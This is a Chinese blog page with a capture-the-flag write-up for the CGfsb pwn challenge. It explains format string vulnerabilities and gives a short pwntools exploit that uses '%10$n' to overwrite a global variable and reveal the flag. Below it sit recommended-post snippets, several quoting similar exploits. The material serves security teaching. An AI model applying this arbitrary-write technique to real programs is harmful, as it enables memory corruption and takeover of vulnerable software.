攻防世界PWN--CGfsb

攻防世界-pwn CGfsb (格式化字符串) 0x01 拿到题目之后首先分析文件 得到信息: 32bit ELF可执行文件 未开启PIE(即静态反汇编得地址可以直接使用) 0x02 执行文件 执行文件之后发现程序接收两个输入并将其原样输出   0x03 利用IDA反汇编 发现flag,需要将pwnme的值改为8才能拿到flag 通过查找发现pwnme在bss段,并且在程序之中用到了printf,可以考虑用格式化串漏洞将... 阅读详情

首先checksec

32位/

开了 Canary/NX保护

再运行一下

大致就是这个流程

接下来ida里面

分析C代码

分析前先get一下格式化字符串漏洞的基础知识

举3个常见的相关函数

  1. fprintf----prints to a FILE stream
  2. printf----prints to the 'stdout' stream
  3. sprintf--prints into a string

常见语法

  1. %d---打印   signed int
  2. %u---打印   unsigned int
  3. %s---打印参数地址处的字符串
  4. %x---打印hex形式的整数
  5. %p---打印指针

eg:

printf("%10c",0x41);

打印A,宽度为10

A前面会填充9个空格 

  1. %n  将当前已打印字符的个数写入参数地址处--4字节
  2. %hn------2字节
  3. %hhn-----1字节

eg:

1.printf("%10c%n",0x41,0x8048810);

打印9个空格+A,会往地址0x8048810处写入10(4字节) 

2.printf("%4132c%hhn",0x41,0x0804883B)

4132=0x1024,往地址0x0804883B处写入1字节0x24

关于$符号 

指定占位符对应第几个参数

eg:%10$x   %x对应第10个参数

 一个问题:

如果printf的参数不足,会发生什么?

假设这些参数存在,在对应的栈/寄存器上找到这些参数,将其打印出来

这样就会将栈上一些重要的信息地址泄露出来 ,向其写入后门函数,拿到shell

参数不足

32位直接泄露栈上地址/64位先泄露6个寄存器上的地址,再栈

如果  pwnme == 8 ,即可cat flag

先泄露出参数位置

 

用gdb确定参数的位置,可以发现,第10位 

接下来编写exp

 

找到pwnme的位置

from pwn import*
#p=remote("111.200.241.244",52498)
p=process('./CG')


payload=p32(0x804A068)+b'aaaa'+b'%10$n'
p.sendlineafter("please tell me your name:\n","aaaa")
p.sendlineafter("leave your message please:\n",payload)

p.sendline(payload)
p.interactive()

 

攻防世界(pwn篇)---CGfsb 攻防世界(pwn篇)—CGfsb 文章目录攻防世界(pwn篇)---CGfsb题目描述基本情况分析运行分析IDA 分析格式化字符串漏洞分析出payload找一下 s 的偏移量再看一看 pwnme 的地址exp 题目描述 菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用 基本情况分析 checksec命令可以查看可执行文件开启的保护 1.RELRO: RELRP会有Pratial RELRO 和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表 2.S 阅读详情

相关推荐

Windows Server+SqlServer Always On实战:5步搞定高可用集群搭建

本文详细介绍了在Windows Server环境中,通过5个关键步骤搭建SQL Server Always On高可用集群的实战指南。内容涵盖从底层故障转移集群配置、SQL Server实例启用Always On功能,到创建可用性组和侦听器的完整流程,并提供了核心运维与故障排查思路,帮助企业构建稳定可靠的数据库高可用架构。

milk5的博客 858

攻防世界-CGfsb

看看附件,先在本地环境打一下,先放入kali查看一下版本: 再查看一下保护机制: 可以看出该程序是32位的,保护机制的解释如下:【1】RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表。【2】Stack:如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过。【3】NX:NX enabled

yuqie的博客 730

Python脚本自动化芯片设计?PyAether实战教程带你玩转EDA

本文通过PyAether实战教程,详细介绍了如何利用Python脚本实现芯片设计自动化。内容涵盖环境搭建、核心对象模型解析,并重点演示了原理图自动生成、参数化单元创建及设计验证流程集成,帮助EDA工程师从重复性手动操作中解放,显著提升设计效率与一致性。

e4f5g6h的博客 1316

攻防世界-CGfsb详细知识点及解答

做这道题的时候,对于格式化字符串的知识要有一定了解,不然的话,就要像我一样,忙来忙去,很麻烦的如何利用格式化字符串呢?我做了一些知识总结。格式化字符串攻击(Format String Vulnerabilities,简称FSV)是指攻击者通过构造恶意格式化字符串控制符,在程序中读写不该被访问的内存区域、获取敏感信息等操作。攻击者通常利用以下方式来实施格式化字符串攻击:(1)打印栈上的数据。

m0_74047686的博客 1008

APO的全面进化之路(2):走向IBP、建设端到端供应链计划体系

前一篇记录阐述了在供应链计划(Supply Chain Planning)领域里SAP的关键产品APO的不断进化之路,即部分产品从APO进化到S/4HANA,本篇将继续阐述进化之路上的另一大中坚产品力量SAP-IBP(Integrated Business Planning)。作为SAP数字化供应链(Digital Supply Chain)中供应链计划SCP的左膀右臂,S/4HANA与IBP共同完善了计划域的完整闭环。本篇作为收尾,在先谈对IBP产品的个人认知之前,特别是在当今这个IT产品迭代多、技术革新

ChampaignWolf的专栏 5229

从FER2013到AffectNet:表情识别数据集十年演进史与你的项目选型攻略

本文回顾了从FER2013到AffectNet等主流人脸表情识别数据集的十年演进历程,详细分析了各数据集的特点、适用场景及技术突破。针对不同项目需求,提供了从移动端应用到高精度研究的选型策略,特别强调AffectNet在现代FER项目中的核心价值,并给出混合数据集构建的实战方案。

weixin_26808439的博客 522

CTF PWN-攻防世界CGfsb格式化字符串漏洞

距离 2021 年年底短暂接触学习 CTF PWN 相关知识(CTF PWN-攻防世界XCTF新手区WriteUp)已经是快 2 年前的事了,这期间就连攻防世界社区的站点都发生巨大变化了……为了学习终端领域底层漏洞的挖掘和利用技术,继续积累 PWN 相关知识。

道阻且长,行则将至 3728

基于C++和Qt开发IEC104规约主站调试软件(第二章)

本章节主要讲解iec104主站软件界面设计和从站的连接功能以及部分功能代码的展示。

半青年的博客 860

攻防世界 pwn cgfsb writeup

攻防世界pwn——cgfsb 这一题是关于格式化字符串漏洞的题,是一个单一漏洞题,不需要太多的绕过。 拿到题目首先查看一下保护: 可以看到,这是一个32位的程序。 并且开启了Canary保护和NX保护。 我们看一下IDA: 进入IDA,按下F5可以得到伪C代码: 可以看到有一个格式化漏洞printf(&s),我们可以通过这条语句把pwnme的值改为8,就可以的到flag了。 打开gdb...

PLpa的博客 2031

【LOGO动态替换】记录一次关于LOGO动态替换引发的uboot代码分析及其实现

文章目录1.前言2.实现2.1 新增logo分区2.2 制作logo分区镜像2.2.1 查看logo.bmp和logo_kernel.bmp的文件大小。2.2.2 按规则将bmp写入logo.img3.分析3.1 uboot的启动分析3.2 uboot bmp load 显示部分3.2.1 rockchip_show_logo3.2.2 load_bmp_logo3.2.3 load_bmp_logo3.3 uboot bmp read部分3.3.1 read_logo_bmps3.3.1 read_bmp

wang 恒 的博客 1213

【感知模块算法】障碍物detect+trace+prediction方向介绍

系列文章目录 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 TODO:写完再整理 文章目录系列文章目录前言一、多维度看感知问题,体会复杂性二、障碍物/环境目标detect方向1.视觉目标检测方向(1)图像处理认知(2)视觉基础理论部分1、获取数据集---python网页爬虫、买数据、自己录数据、使用开源比赛的数据集2、opencv库的学习3、深度学习框架学习(3)视觉目标检测理论(1)目标检测的概念(2)目标检测的应用场景(3)现有目标检测框架原理及论文【这仅仅是我当初入门学习的框架~

qq_35635374的博客 2894

【攻防世界pwn-CGfsb】

首先检查文件保护 将文件拖入32位ida 阅读代码后,发现这是一个简单的格式化字符串漏洞,通过修改pwnme的数值为8,直接执行cat flag。pwnme在0x0804A068的位置。 随后用gdb确认偏移,有两种方法,一种是直接数栈上的位置,另一种是输入AAAA.%x.%x.%x查看。我采用第一种。 栈上是第11个位置,但是由于第一个位置参数是格式化字符串,所以输入的AAAA其实是格式化字符串的第10个参数。 开始编写攻击脚本。 from pwn import ...

a_silly_coder的博客 449

同步调相机启动与并网控制技术方案

同步调相机起动与并网控制技术方案采用背靠背变流器系统,通过静止变频器(SFC)策略实现无原动机驱动的同步电机从静止到同步转速的平稳起动。方案详细阐述了硬件自检、模块初始化、转子位置检测等关键环节,重点解决启动转矩为零、冲击电流大等挑战。系统基于STM32或C2000系列控制器,包含网侧/机侧变流器、检测保护单元及通信接口,通过励磁脉冲和电压响应分析实现高精度转子初始定位,为后续并网提供必要条件。代码级实现涵盖了ADC自检、数字IO验证及通信端口测试等核心功能。

huanghm88的专栏 306

攻防世界PWN-CGfsb

题目:CGfsb 先下载附件 先确保本地的python有pwntools模块(pip install pwntools),模块安装后会有一个checksec命令,可以用该命令查看文件的基本信息 1.扔文件进kali,使用checksec 命令查看其具体内容 几个重要参数: Arch 程序架构信息,判断是64位还是32位,exp编写的时候是p64还是p32 RELRO Relocation Read-Onl(RELRO)此项技术主要针对GOT改写的攻击方式,它分成两种,Partial RELRO

Deeeelete的博客 561

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

攻防世界pwn-CGfsb

来看代码,主函数里有一个printf(s)的调用,这里的s是一个字符数组,之前用fgets(s, 100, stdin)读取我们的输入。这里的问题是,如果我们输入的s包含格式化字符串,比如%x或者%n,那么当调用printf(s)的时候,这些格式化占位符会被解析,可能导致信息泄露或内存覆盖,所以这里可能就是存在漏洞的地方。target_address 了,IDA 中给出了地址 0x0804A068,因为没有 PIE 保护,所以 IDA 所展示的地址即是程序运行时所用的地址。开始计数为第 9 个)。

lyh6613的博客 523

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

攻防世界pwn—CGFsb

先看一下文件是32位的,再查看一下程序的保护机制 发现栈的保护开启,程序会在栈里放入一个canary,返回时检测canary是否发生变化 我们先运行一下程序看一下逻辑 在IDA中打开查看伪代码,发现如果pwnme=8,就可以到得到flag 此处要利用格式化字符串漏洞,使用%n格式修改任意地址内容,把前面已经打印的长度写入某个内存地址中去。 在这里设置断点 查看一下pwnme的地址 在wr...

nzw1134864657的博客 437

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

XCTF 攻防世界 pwn CGfsb

XCTF 攻防世界 pwn CGfsb 题目流程 printf(&s) 明显的format string 漏洞 修改pwnme的值为8 完整的ex

stareforever的博客 2万+

[攻防世界 pwn]——CGfsb

[攻防世界 pwn]——CGfsb 题目地址: https://adworld.xctf.org.cn/ 题目: 这是一道简单的格式化字符串问题, 详情请参考点点我呀,参考就是我 在pwndbg中调试, 偏移为 0xa = 10 exploit from pwn import * #p = process("./e41a0f684d0e497f87bb309f91737e4d") p = remote("111.200.241.244",57659) #gdb.attach(p, "b *0x0

Y_peak的博客 267

攻防世界 Pwn CGfsb

攻防世界pwn CGfsb1.先看保护机制2.看一下源代码有什么漏洞3.看一下格式化字符串溢出长度4.看一下pwnme的地址5.exp 1.先看保护机制 2.看一下源代码有什么漏洞 这里很明显是格式化字符串 看到这里发现程序需要pwnme==8才可以拿到flag 3.看一下格式化字符串溢出长度 输入数据后gdb调试数一下 offset=10 4.看一下pwnme的地址 那思路就是利用格式化字符串的%n写个8到pwnme中就好了 5.exp from pwn import * #a=process(

MrTreebook的博客 281

攻防世界pwn——CGfsb

攻防世界pwn——CGfsb

qq_62076255的博客 387

[PWN](攻防世界)CGfsb

分析程序漏洞 32位的程序,有 Canary 防护措施,栈不可执行技术 由于没有开启PIE,可以通过格式化字符串漏洞直接修改存在于 .bss 段的 pwnme 变量的值为 8,从而劫持程序执行流,执行system("cat flag);语句,获取 flag 利用程序 from pwn import * context(arch = 'amd64') context(log_level = 'DEBUG') context(terminal = ['deepin-terminal', '-x', '

ljh15937的博客 332

攻防世界pwn新手练习(CGfsb)

CGfsb ok,按照惯例,拿到程序后先扔到Linux下查一下基本信息 32位程序,开了NX(堆栈不可执行)以及CANNARY(栈保护) 貌似有一丝丝头疼嗷,咱们运行一下,看看它的程序逻辑 唔,是一个留言板,可以输入的地方有两处,一处是名字,一处是留言内容。ok,可以扔进IDA分析了。 F5后直接看程序伪代码 很明显,我们需要让pwnme这个变量的值等于8,然后便可以拿到flag文件中的东西,...

BurYiA的博客 1983

攻防世界新手pwn题:CGfsb (格式化字符串漏洞)初解

攻防世界新手pwn题:CGfsb (格式化字符串漏洞)初解 在开始看这题之前,可以看CTF-wiki中有关格式化字符串漏洞的利用[link]https://wiki.x10sec.org/pwn/fmtstr/fmtstr_exploit/ 这边就简单的介绍格式化字符串中覆盖内存的方式:%n$n,这串字符的意思是将前面打印的字符个数,写入到第n个指针对应的地址中,下面就以CGfsb这题来举个例子 ...

qq_35066257的博客 1022

攻防世界misc新手_攻防世界pwn新手练习(CGfsb)

ok,按照惯例,拿到程序后先扔到Linux下查一下基本信息 32位程序,开了NX(堆栈不可执行)以及CANNARY(栈保护) 貌似有一丝丝头疼嗷,咱们运行一下,看看它的程序逻辑 唔,是一个留言板,可以输入的地方有两处,一处是名字,一处是留言内容。ok,可以扔进IDA分析了。 F5后直接看程序伪代码 很明显,我们需要让pwnme这个变量的值等于8,然后便可以拿到flag文件中的东西,这个时候 我们需...

weixin_39622178的博客 155

攻防世界_pwn_CGfsb(萌新版)-pwnme解惑

首发于鄙人博客:传送门 0x00 前言 格式化字符串漏洞。 file checksec结果如下所示: NX打开,就是说堆栈不可执行。 PIE未打开,也就是说,我们在ida中国所看到的就是函数地址在运行过程中的地址。 0x10 步骤 0x11 main函数 在main函数中,我们可以发现printf函数的用法与我们平时使用C语言的习惯不同,这样的用法会给系统...

TedLau的博客 680

攻防世界——pwn(1)

get_shell

weixin_44319142的博客 3063
上一篇: Linux基础命令实操
下一篇: 攻防世界guess_num
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值